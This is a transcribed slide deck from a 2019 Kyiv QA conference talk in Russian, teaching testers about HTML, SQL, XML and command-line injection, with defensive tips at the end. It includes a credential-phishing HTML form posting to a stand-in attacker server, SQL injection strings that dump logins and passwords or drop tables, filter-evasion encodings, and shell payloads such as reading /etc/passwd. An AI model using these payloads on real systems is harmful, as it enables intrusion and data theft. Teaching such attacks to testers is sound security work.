Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

QA Fest 2019. Евгений Толчинский. Injections - 4 ways of Penetration

20 views

Published on

Все знают про 2 вида иньекций: SQL и HTML, а мы расмотрим еще XML и command line. Вы скажете это не актуально, но 28% сайтов заражены данной уязвимостью и самое важное, что с помощью данной уязвимости хакер может изменить всю внешную часть сайта. А с помощью command line injection можно увидеть структуру сервера, да и вообще получить доступ к серверу.

Published in: Education
  • Be the first to comment

  • Be the first to like this

QA Fest 2019. Евгений Толчинский. Injections - 4 ways of Penetration

  1. 1. Тема доклада Тема доклада Тема доклада KYIV 2019 Evgeny Tolchinsky Injections - 4 ways of Penetration QA CONFERENCE #1 IN UKRAINE
  2. 2. О себе 4,5 года в тестировании Senior manual Qa/Qa lead Ameria Спикер на конференциях (KyivQaDay, Simplicity QA 360, ComaQa Minsk), митапах (OpenTechWeek, Speakers’ Corner, KyivTestersMeetup) Со-тренер на курсе OWASP TOP-10 До этого 9 лет в банковской сфере Свитчер :-) LinkedIn FB
  3. 3. T-shaped модель
  4. 4. Задачи Security QA engineer
  5. 5. OWASP TOP 10 2017 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging&Monitoring
  6. 6. Injection HTML Injection SQL Injection
  7. 7. Injection XML Injection command line Injection
  8. 8. HTML Injection
  9. 9. <h1>qwe</h1> H1 - HTML тэг для отображения заголовка
  10. 10. <h3>Please Enter Your Username and Password to Proceed:</h3> <form method="POST" action="http://attackerserver/login.php"> Username: <input type="text" name="username" /><br /> Password: <input type="password" name="password" /><br /> <input type="submit" value="Login" /></form><!--
  11. 11. SQL Injection
  12. 12. WEB Сервер СУБД Как работает запрос в базу данных
  13. 13. POST request/ Поиск в базе
  14. 14. WEB Сервер СУБД User POST request POST response СУБДWEB Сервер DB query
  15. 15. Select title, release, character, genge, IMDb From movie Where title = ‘Iron Man’ Select title, release, character, genge, IMDb From movie Where title = ‘'or 1=1 -- -’ ‘ or 1=1 -- -Iron Man
  16. 16. Select title, release, character, genge, IMDb From movie Where title = ‘1'union select 1,2,3,4,5,6,7#’ Select title, release, character, genge, IMDb From movie Where title = ‘1' union select 1,2,3,4,5,6,7#’
  17. 17. Select title, release, character, genge, IMDb From movie Where title = ‘1' union select 1,login,password,4,current_user,6,7 from users#’' Select title, release, character, genge, IMDb From movie Where title = ‘1' union select 1,database(),version(),4,current_user,6,7#’ 1' union select 1,database(),version(),4,current_user,6,7# 1' union select 1,login,password,4,current_user,6,7 from users#
  18. 18. Форма логина Authorization User Pass User request response СУБДWEB Сервер DB query
  19. 19. Select * From users Where user_name = ‘Evgeny’ AND password = ‘1234’ Authorization User Pass Evgeny 1234 Authorization User Pass admin ‘ OR 1=1 -- - Select * From users Where user_name = ‘admin’ AND password = ‘’ OR 1=1 --’
  20. 20. Select * From users Where user_name = ‘admin’ AND password = ‘’ OR 1=1 --’’ Select * From users Where user_name = ‘admin’ AND password = ‘’ OR 1=1 -- id username password email 0 admin admin1234 admin@com.ua
  21. 21. Authorization User Pass admin ‘; DROP TABLE users --
  22. 22. Как обойти базовые фильтры разработчиков Символ Encode Encode x2 ‘ %27 %2527 “ %22 %2522 # %23 %2523 -- %2d%2d %252d%252d ; %3B %253B ) %29 %2529 * %2a %252a ;%00 NULLBYTE /* C-style comment -- - SQL Comment SeLeCt %00SELECT SELSELECTECT AND -------------> && OR -------------> || = -------------> LIKE,REGEXP, not < and not > > чего-то ----------------> not between 0 and чего-то WHERE ----------------> HAVING
  23. 23. ‘ or 1=1 — true 3=3 ‘ or 1=2 — false 3=4 ‘ and 1=1 — true 3=3 ‘ and 1=2 — false 3=4 ‘ or 1<2 — true 3<4 ‘ or 1>2 — false 3>4 ‘ or ‘aaaaa’<>’bbbbb’ — Лучший хак %09 – Horizontal Tab %0A – New Line %0D – Carriage Return %0B – Vertical Tab %0C – New Page %A0 - Non-breaking Space /**/ - comment /*!*/ - comment
  24. 24. XML Injection
  25. 25. Как работает XML User POST request POST response СУБДWEB Сервер DB query
  26. 26. Как работает XML Registration User Pass Email Evgeny 1234 a@b.com <user> <nameuser>Evgeny</nameuser> <pass>1234</pass> <mail>a@b.com</mail> </user>
  27. 27. Registration User Pass Email Evgeny 1234 abc</mail><role>A dmin</role><mail>a @b.com <user> <nameuser>Evgeny</nameuser> <pass>1234</pass> <role>user</role> <mail>abc</mail> <role>Admin</role> <mail>a@b.com</mail> </user> <user> <nameuser>Evgeny</nameuser> <pass>1234</pass> <role>user</role> <mail>abc</mail> <role>Admin</role> <mail>a@b.com</mail> </user>
  28. 28. Command line Injection
  29. 29. ping 127.0.0.1 | ping -i 30 127.0.0.1 | & ping -i 30 127.0.0.1 & ; ping -i 30 127.0.0.1; ping 127.0.0.1;sleep 10
  30. 30. ;pwd ;ls;
  31. 31. +|+Dir c:
  32. 32. Задать доп команды: ком1|ком2 - команда 2 выполнима, если команда 1 будет выполнена или нет ком1;ком2 - команда 2 выполнима, если команда 1 будет выполнена или нет ком1||ком2 - команда 2 будет выполнена, только в случаи сбоя команды 1 ком1&&ком2 - команда 2 будет выполнена только при успешном выполнении команды 1 В середине команд: $(cat /etc/passwd) ‘ cat /etc/passwd’ Слепое внедрение: sleep(5) ping -i 30 127.0.0.1
  33. 33. Как защититься? 1. Не доверять пользовательскому вводу
  34. 34. 2. Использование безопасного фреймворка для обработки вводимых данных пользователем (Alchemy(Алхимия)) Как защититься?
  35. 35. 3. Использование «White List» и Black List» на стороне сервера Как защититься?
  36. 36. 4. Избежание спец символов или где они необходимы использование фильтрации. Как защититься?
  37. 37. 5. Использование LIMIT в SQL запросах Как защититься?
  38. 38. Ссылки 1. OWASP TOP 10 2017 2. OWASP testing guide 3. Mobile Top 10 2016 4. Блог Святослава Логина 5. Портал для обучения HTML, JS, SQL … 6. Когда хочется просто пофлудить, а иногда встретиться и выпить пиво с коллегами :-) Телеграм канал QA_ua
  39. 39. Тема доклада Тема доклада Тема доклада WITH PASSION TO QUALITY СПАСИБО QA CONFERENCE #1 IN UKRAINE KYIV 2019

×